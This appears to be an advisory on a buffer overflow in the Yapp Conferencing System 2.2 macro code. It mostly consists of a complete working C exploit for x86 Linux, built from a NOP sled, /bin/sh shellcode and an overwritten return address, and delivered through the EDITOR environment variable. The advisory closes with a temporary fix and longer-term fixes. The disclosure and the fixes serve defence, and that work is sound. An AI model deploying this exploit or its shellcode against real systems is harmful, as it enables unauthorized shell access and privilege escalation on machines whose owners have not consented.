COMMAND

    Yapp Conferencing System

SYSTEMS AFFECTED

    Linux (others?)

PROBLEM

    'satan'  found  buffer  overflow  in  the Yapp Conferencing System
    Version 2.2 (and others?) in  it's macro processing code. On  line
    215 of macro.c, we see:

	sprintf(buff,"%s=%s",name,value);

    The variable "value"  is taken from  the environment and  is never
    checked to ensure that it's length does not exceed the ammount  of
    space remaining in the buffer after "NAME=" has been inserted.  It
    is  trivial  to  overflow  "buff"   by  defining  "NAME"  in   the
    environment to  contain a  string longer  then the  size of "buff"
    (512 characters) minus the length  of "NAME=".  Below is  included
    an exploit which 'satan' wrote for Intel 80x86/Linux, it uses  the
    variable  "EDITOR"  (which  was  selected  compeletely at random).
    This  bug  is  most  like  not  going  to  have  serious  security
    implications, since Yapp  hardly ever runs  setuid root (in  fact,
    the README suggests creating a  special user to run Yapp  as), but
    there may  be a  situation where  an attacker  gains access to the
    special Yapp uid, replaces the Yapp binary with a trojan  version,
    and then waits for root to run it.

    /*
     * Exploit for "Yapp Conferencing System, Version 2.2".
     * By Dave Bowman, for Sandra, on January 13 1998.
     *
     * Description:
     *
     * The Yapp Conferencing System client handles environment variables
     * without doing bounds checking, allowing one to overflow a buffer
     * in the "bbs" executable onto the stack. Using this technique, it
     * possible to obtain a shell running as the user which Yapp is setuid
     * to (in some cases, root).
     *
     * Usage:
     *
     * bash$ gcc -o yapp_exploit yapp_exploit.c
     * bash$ ./yapp_exploit
     * bash#
     *
     * You'll have to change the definition of "BBS_PROGRAM" in the source.
     * You may also need to alter the offset, but -1000 worked for me.
     *
     * And without further ado...
     *
     */

    #if ! defined (__i386__) || ! defined (__linux__)
    #error Intel 80x86/Linux platform required.
    #endif

    #include <string.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <unistd.h>

    #define BUFFSIZE        512 - strlen ("EDITOR=")        /* Size of buffer. */
    #define OFFSET          -1000                           /* Offset. */
    #define BBS_PROGRAM     "/home/dave/yapp/bbs"           /* Path to program. */

    /* Function which returns the base address of the stack. */
    long get_esp (void)
    {
	    __asm__ ("movl %esp, %eax\n");
    }

    /* Machine code instructions to execute /bin/sh, I had them here in */
    /* global for a reason and now I just don't feel like playing with */
    /* the stack offset anymore. */
    unsigned char exec_shell [] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    /* Main function, duh. */
    int main (void)
    {
	    unsigned char buff [518];               /* Buffer to hold our data. */
	    unsigned char *ptr;                     /* Pointer. */
	    int count;                              /* Counter. */
	    unsigned long *address_ptr;             /* Long pointer. */

	    /* First we fill the buffer with NOP instructions. */
	    (void) memset (buff, 0x90, sizeof (buff));

	    /* Then we copy our shell code into the buffer. */
	    ptr = buff;
	    ptr += BUFFSIZE - strlen (exec_shell);
	    for (count = 0; count < strlen (exec_shell); count++)
		    *ptr++ = exec_shell [count];

	    /* Now we insert our return address into ebp and eip. */
	    address_ptr = (unsigned long *) &buff [509];
	    for (count = 0; count < 2; count++)
		    *address_ptr++ = get_esp () + OFFSET;

	    /* Here we terminate the buffer as a string... */
	    ptr = (unsigned char *) address_ptr;
	    *ptr = '\0';

	    /* And attempt to load it into our environment. */
	    unsetenv ("EDITOR");
	    if (setenv ("EDITOR", buff, 1)) {
		    perror ("setenv");
		    exit (1);
	    }

	    /* Finally, we execute Yapp. */
	    (void) execl (BBS_PROGRAM, BBS_PROGRAM, NULL);
	    perror (BBS_PROGRAM);
	    exit (1);
    }

SOLUTION

    Temporary fix:

	bash# chmod u-s /usr/local/bin/bbs

    Long term fix should be either change the sprintf (3) call on line
    215 of macro.c to something which checks the bounds of the data it
    copies, or simply force strings read in from the environment to  a
    specific length, i.e.

	env_string [511] = '\0';

    if  your  buffer  was  512  characters  wide.  Please keep in mind
    however, in  terms of  security, Yapp  is a  _very_ poorly  writen
    program and should probably not run setuid anyone, let alone root.
    If you can possibly avoid it, don't run Yapp setuid.